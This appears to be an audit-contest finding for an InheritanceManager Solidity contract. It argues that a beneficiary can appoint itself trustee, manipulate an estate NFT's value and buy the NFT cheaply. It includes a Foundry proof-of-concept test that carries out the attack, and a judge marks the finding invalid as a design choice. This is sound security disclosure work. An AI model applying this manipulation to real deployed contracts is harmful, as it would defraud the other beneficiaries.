Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Malicious Beneficiary Can Manipulate NFT Value Through Trustee Appointment

Summary

The appointTrustee function in the InheritanceManager contract allows any beneficiary to appoint a new trustee. This creates a critical vulnerability where a malicious beneficiary can become the trustee, manipulate NFT valuations, and exploit the buyOutEstateNFT mechanism to steal value from other beneficiaries.

Vulnerability Details

Trustee Privilege Abuse: Once appointed, the trustee can call setNftValue to arbitrarily adjust NFT valuations. A malicious beneficiary can exploit this to:

  • Temporarily lower an NFT's value

  • Buy it at the reduced price

  • Restore the original value (defrauding other beneficiaries)

POC

The provided test demonstrates the attack flow:

  1. Beneficiary user2 triggers inheritance after 90 days.

  2. user2 appoints themselves as trustee.

  3. user2 lowers the NFT value from 2000e6 to 1e6.

  4. user2 buys the NFT for 1e6 (split among beneficiaries).

  5. user2 resets the value to 10000e6.

  6. Other beneficiaries (like user1) are forced to pay inflated prices.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
/// @title General InheritanceManager Tests
/// @notice Runs additional functional tests on `InheritanceManager`
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
// ERC20Mock requires a name, symbol, and initial supply
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
function test_Trustee() public {
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(user2);
im.createEstateNFT("our beach-house", 2000e6, address(usdc));
vm.stopPrank();
assertEq(2000e6, im.getNftValue(1));
vm.warp(1);
skip(90 days);
usdc.mint(user2, 1e6);
usdc.mint(user1, 4999e6);
vm.startPrank(user2);
im.inherit();
im.appointTrustee(user2);
im.setNftValue(1, 1e6);
usdc.approve(address(im), 1e6);
// console.log("nft owner: ", im.getOwner());
im.buyOutEstateNFT(1);
im.setNftValue(1, 10000e6);
vm.stopPrank();
vm.startPrank(user1);
usdc.approve(address(im), 5000e6);
im.buyOutEstateNFT(1);
vm.stopPrank();
// assertEq(1e6, im.getNftValue(1));
// assertEq(user1, im.getTrustee());
}
}

Impact

  • Financial Loss: Attackers can drain value from the inheritance pool by manipulating NFT prices.

  • Trust Collapse: The contract's core premise of fair asset distribution is compromised.

Tools Used

Recommendations

  1. Multi-Sig Requirements: Consider requiring multiple beneficiaries to approve trustee changes or value adjustments.

  2. Restrict Trustee Appointment:

function appointTrustee(address _trustee) external onlyOwner {
trustee = _trustee;
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Appeal created

osuolale Submitter
5 months ago
0xtimefliez Lead Judge
5 months ago
0xtimefliez Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.